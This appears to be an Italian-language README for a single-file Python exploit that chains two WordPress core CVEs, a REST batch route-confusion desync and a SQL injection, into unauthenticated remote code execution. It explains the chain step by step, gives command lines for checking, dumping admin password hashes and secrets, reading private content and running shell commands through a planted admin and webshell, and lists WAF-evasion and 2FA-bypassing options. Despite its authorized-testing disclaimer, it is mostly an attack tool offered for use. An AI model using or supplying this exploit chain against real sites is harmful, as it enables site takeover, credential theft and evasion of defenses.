
PoC di RCE pre-autenticazione per il core di WordPress — combina CVE-2026-63030 (desync route-confusion REST /batch/v1) con CVE-2026-60137 (SQLi author__not_in) per ottenere una shell non autenticata. Solo test autorizzati.
PoC di RCE non autenticata nel core di WordPress che combina CVE-2026-63030 + CVE-2026-60137. Solo test autorizzati.
wp2shell.py è una proof of concept a file singolo, basata solo sulla libreria standard, che incatena
due vulnerabilità del core di WordPress in esecuzione remota di codice non autenticata:
| CVE | Componente | Bug |
|---|---|---|
| CVE-2026-63030 | handler REST /batch/v1 | desync da confusione di route — il batch handler perde la sincronizzazione tra la sua tabella handler e la sua tabella validation quando il path di una sub-request non viene parsato, quindi una sub-request viene instradata tramite un handler per cui non è mai stata validata. |
| CVE-2026-60137 | WP_Query | SQL injection scalare — il valore author__not_in viene incollato direttamente nell'SQL, quindi una stringa che lo raggiunge è iniettabile. |
Nessuna delle due è RCE da sola. Il desync è il vettore (fa passare di nascosto una stringa dell'attaccante in una query che non dovrebbe mai raggiungere); l'iniezione è la primitive. Insieme danno a un attaccante pre-auth un oracle completo di lettura/scrittura SQL e, da lì, una shell funzionante.
⚠️ Solo test autorizzati. Questo exploit colpisce installazioni WordPress live. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test.
Vulnerabili: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Corrette: 6.8.6, 6.9.5, 7.0.2 (e successive) Segnalate da Adam Kues (Assetnote / Searchlight Cyber); la SQLi è stata attribuita anche a TF1T, dtro, haongo.
Solo la 6.9.0–7.0.1 è in grado di eseguire RCE. Sulla serie 6.8.x il desync scatta ancora, ma il
ramo che dovrebbe disallineare l'handler incontra invece un fatal WP_Error::get_method() —
quindi la 6.8.x è un denial-of-service / crash, non una shell. Il tool lo rileva e ti dice
quale primitive è disponibile.
L'exploit è costruito a strati; ognuno è un ponte verso il successivo.
Desync (CVE-2026-63030). Una richiesta batch ne annida una seconda. Una sub-request
trasporta un path deliberatamente malformato (http://:, che wp_parse_url() rifiuta).
Nella 6.9.0+ il parse fallito fa sì che le tabelle handler e validation si disallineino di una voce,
quindi la successiva sub-request viene eseguita con un handler per cui non è mai stata validata —
la collection pubblica dei post.
Iniezione (CVE-2026-60137). Quella chiamata instradata erroneamente raggiunge WP_Query con un
author__not_in controllato dall'attaccante. Un UNION ALL SELECT lì non legge le righe —
le fabbrica, permettendoci di forgiare post arbitrari nel risultato della query.
Ponte SQL → scrittura. I post fabbricati trasportano markup [embed]. WordPress
li risolve diligentemente e li mette in cache come vere righe di post-meta oembed_cache —
trasformando un'iniezione di sola lettura in una primitive di scrittura arbitraria.
Pivot dei privilegi. Usando quel ponte di scrittura forgiamo (a) un changeset del customizer
creato come il vero amministratore e (b) un post request auto-referenziale. Insieme
costringono WordPress a rieseguire la propria pipeline di request come quell'admin — una finestra
appena abbastanza lunga perché una chiamata in coda crei un nuovo amministratore.
Per il lato di lettura (--dump, risoluzione del prefisso, ID in cache) il tool seleziona automaticamente
l'oracle più veloce che funziona e si ferma al primo risultato:
union — UNION in-band: il post_title della riga forgiata trasporta |||HEX(value)|||,
che viene riflesso tale e quale nel body della risposta /wp/v2/posts. Legge un intero valore
(di qualsiasi lunghezza) in una sola richiesta. Se UNION viene riflesso, gli oracle booleani non vengono mai sondati.bool — oracle booleano X-WP-Total: l'header X-WP-Total della sub-risposta confusa
è count>0 per true / 0 per false. Un bit per richiesta (bisezione).time — SLEEP() basato sul tempo: il fallback quando il body viene rimosso e la
risposta è un 500 (es. un fatal post-dispatch di un mu-plugin di caching). Funziona anche su
target che vanno in crash a ogni chiamata REST.--dump usa GROUP_CONCAT per estrarre l'intero set di credenziali in un colpo solo quando UNION è
disponibile.
Nessuna. Solo libreria standard Python 3.7+ — niente pip install.
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) vanno direttamente in hashcat
(-m 3200 per phpass, o la modalità bcrypt di WP). WordPress 6.8+ usa bcrypt $wp$….--dump di default riguarda solo il primo amministratore. Usa --dump all per la
lista completa degli admin.--oracle time --dump per recuperare gli hash.Il percorso --exec è progettato per non lasciare nulla dietro di sé: l'amministratore
temporaneo, la sua usermeta, le righe oembed_cache fabbricate e la webshell caricata vengono
tutti rimossi prima che il tool esca. Non esiste un flag --keep — un operatore non dovrebbe
mai lasciare un account admin vivo creato da un attaccante sul sistema di un cliente.
wp2shell.py — l'exploit (file singolo, solo stdlib).La scoperta delle vulnerabilità, la divulgazione e il write-up originale "wp2shell" sono da attribuire al team di ricerca Searchlight Cyber / Assetnote:
/batch/v1WP_Query author__not_inQuesto repository è un'implementazione proof of concept indipendente della catena di exploit che hanno divulgato; non rivendica la scoperta delle vulnerabilità sottostanti. Se qualche attribuzione è incompleta o errata, apri una issue e verrà corretta.
Questa è una proof of concept di ricerca sulla sicurezza per test di penetrazione autorizzati e validazione difensiva. Eseguirla contro sistemi di cui non sei proprietario o per cui non hai il permesso scritto al test è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
POST /wp/v2/usersShell. Accedi come nuovo admin, carica un plugin, esegui il comando. L'account, la sua meta, le righe oembed e la webshell vengono tutti ripuliti in seguito — non rimane alcuna impronta persistente.
| Flag | Scopo |
|---|
url / -f FILE | target singolo, oppure un file di target (un URL per riga) |
--check | solo verifica della vulnerabilità — nessuna iniezione, scrittura o account |
--dump [all] | dump dell'hash + segreti del primo admin; all = ogni admin |
--exec CMD | crea un admin temporaneo → esegui CMD → ripulisci |
--user-list | lettura in-band elevata dell'intera tabella utenti (nessun login, bypassa la 2FA) |
--content [full] | lettura elevata di ogni post type a status=any; full aggiunge i body |
--oracle {auto,union,bool,time} | forza un oracle di estrazione (default auto) |
--prefix PFX | forza il prefisso delle tabelle invece della risoluzione automatica |
--impersonate UID | impersona questo user id invece del primo admin |
--threads N | probe di estrazione concorrenti all'interno di un target (default 5) |
--target-threads N | scansiona N target da -f in concorrenza (default 1) |
--proxy URL | instrada tramite un proxy (es. Burp http://127.0.0.1:8080) |
--timeout SEC | timeout per richiesta (default 30) |
--verbose / -v | dump delle sub-risposte batch grezze (debug) |
| Flag | Scopo |
|---|
--form | invia il batch come multipart/form-data (URL pulito, niente ?rest_route=) |
--permalink [PREFIX] | instrada via /<PREFIX>/batch/v1 (default wp-json); tiene il payload fuori dall'URL e fuori da $_POST. Suggerimento: --permalink index.php/wp-json raggiunge REST via PATH_INFO, eludendo le regole ancorate su /wp-json |
--dummy N | antepone N byte di spazzatura nel body per far traboccare il buffer di ispezione di un WAF |
--donor {widgets,categories,tags} | cambia la route donatrice della confusione se una risponde 500 (default widgets) |
--per-page N | forza per_page (-1 o un grande positivo restituiscono entrambi tutte le righe; usa un grande positivo se il target risponde 500 su -1) |
--users-route PATH | case/query alternativi per la chiamata di creazione utente (/wp/v2/Users, …?_=1) |
--primer PATH | path desync malformato alternativo se un WAF riconosce il default http://: |
--user-agent UA | fissa l'UA (default: un UA browser realistico casuale per esecuzione) |
--embed-base URL | sovrascrive la base dell'URL oembed (evita un loopback di self-embed) |